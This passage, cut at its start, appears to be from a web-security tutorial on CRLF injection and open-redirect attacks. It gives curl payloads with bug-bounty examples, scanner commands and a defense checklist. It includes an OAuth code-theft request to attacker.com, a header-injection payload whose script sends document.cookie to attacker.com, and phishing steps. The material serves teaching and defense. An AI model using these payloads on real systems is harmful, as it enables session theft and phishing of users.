-d "code=AUTH_CODE&client_id=TARGET_CLIENT_ID&client_secret=TARGET_SECRET&redirect_uri=https://attacker.com/steal&grant_type=authorization_code"
# Returns access_token for victim's account
Example: Twitter — Open Redirect in OAuth (Bug Bounty)
# Twitter's OAuth /authorize endpoint had open redirect in error_uri
# Step 1: Craft malicious OAuth URL
curl -si "https://api.twitter.com/oauth/authorize?oauth_token=invalid&error_uri=https://attacker.com" | grep -i location
# Response: Location: https://attacker.com ← OPEN REDIRECT!
# Step 2: Host phishing page on attacker.com that looks like Twitter login
# Step 3: Victims who click see twitter.com URL (they trust it) → redirected → phished
# Reported via Twitter bug bounty — fix: validate error_uri against allowlist
Example: CRLF → XSS via Header Injection
# Target: URL parameter reflected into custom response header
# e.g., GET /track?ref=homepage → Response: X-Referrer: homepage
# Step 1: Inject CRLF + Content-Type override
curl -si "https://target.com/track?ref=homepage%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(document.domain)</script>"
# Response:
# HTTP/1.1 200 OK
# X-Referrer: homepage
# Content-Type: text/html
#
# <script>alert(document.domain)</script>
# (Browser renders as HTML → XSS!)
# Step 2: Use this to bypass CSP by injecting CSP header
curl -si "https://target.com/track?ref=x%0d%0aContent-Security-Policy:%20default-src%20*%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>fetch('https://attacker.com/?d='+document.cookie)</script>"
Example: Slack SAML — Open Redirect to SSO Bypass ($7,500)
# Slack's SAML SSO had open redirect in RelayState parameter
# RelayState is passed through IdP → SP and used for final redirect
# Step 1: Initiate SAML SSO with malicious RelayState
curl -si "https://target.slack.com/sso/saml?redir=https://attacker.com/steal" | grep -i location
# Step 2: Complete SAML auth flow — SAMLResponse sent to Slack
# Slack validates SAML assertion (success)
# Then redirects to RelayState value: https://attacker.com/steal
# → SAML response (with sensitive token) leaked via Referer header!
# This is the SAML relay-state open redirect class of bugs
# Fix: validate RelayState against allowed domains before redirecting
Automated Testing
# CRLF injection scanner
python3 crlfuzz.py -u https://target.com/redirect?url=FUZZ
# Open redirect scanner (via Nuclei)
nuclei -u https://target.com -t exposures/redirect/open-redirect.yaml
# Manual one-liner — test common redirect params
for param in url redirect return next target destination goto; do
echo -n "$param → "
curl -s -I "https://target.com/login?$param=https://attacker.com" \
| grep -i "^location:" || echo "not reflected"
done
Defense Checklist
CRLF:
- Strip or reject
\r(%0d) and\n(%0a) from any value reflected into HTTP headers - Use a web framework that auto-sanitizes headers
- Never reflect user input directly into
Location,Set-Cookie, or custom headers - Encode output before placing in headers
Open Redirect:
- Use a whitelist of allowed redirect destinations
- Validate full URL (scheme + host + path) — not just prefix or suffix
- For OAuth: enforce exact
redirect_urimatching (no wildcards, no subdomain patterns) - Use relative paths for internal redirects (
/dashboardnothttps://...) - Add a warning interstitial page for external redirects